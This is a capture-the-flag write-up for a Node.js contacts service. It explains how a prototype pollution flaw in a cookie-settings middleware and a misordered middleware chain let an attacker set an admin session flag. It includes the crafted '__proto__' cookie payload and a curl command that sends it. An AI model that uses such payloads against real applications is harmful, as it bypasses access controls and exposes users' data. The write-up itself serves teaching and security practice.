pure
is a service to create/edit contacts. It is written in JavaScript and uses MongoDB as a data storage and Nginx as a reverse proxy:
The user interface allows to:
Also there is an admin interface that allows to view contacts of all users:
The access to the admin pages is protected using client certificate authentication. This protection is implemented with Nginx:
server {
...
ssl_client_certificate /etc/ssl/certs/ca.crt;
ssl_verify_client optional;
location / {
...
proxy_set_header VERIFIED $ssl_client_verify;
...
}
}
Nginx checks the client certificate and set VERIFIED
HTTP header. The application uses this header to set req.session.isAdmin
property:
if (req.headers && req.headers['verified'] == 'SUCCESS' && req.session) {
req.session.isAdmin = true;
} else {
if (req.session && req.session.isAdmin) {
delete req.session.isAdmin;
}
}
To steal the flags, teams should somehow set req.session.isAdmin
property to true
in the Node.JS application.
Property req.session.isAdmin
can be set to true
by exploiting the Prototype Pollution vulnerability.
cookieSettingsHandler
in web/middlewares.js allows to set arbitrary property name and an attacker could send a specially crafted settings
cookie containing JSON-encode object j:["__proto__",":",{"isAdmin": true, "cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"}}]
. This object will be decoded by the cookieParser()
, and the following assignment will be executed:
req.session["__proto__"] = {"isAdmin": true, "cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"}};
Unfortunately, the following middlewares were added in wrong order:
app.use(middlewares.adminHandler);
app.use(middlewares.cookieSettingsHandler);
Because of this, an attacker could exploit the application much easier. The following settings
cookie could be used to set req.session.isAdmin
property to true
: settings=isAdmin:1
To exploit the vulnerability an attacker could send specially crafted settings
cookie to the application:
curl -k https://<HOST> --cookie 'connect.sid=<SESSION COOKIE>' --cookie 'settings=j:["__proto__",":",{"isAdmin": true, "cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"}}]'
You can find the full exploit here.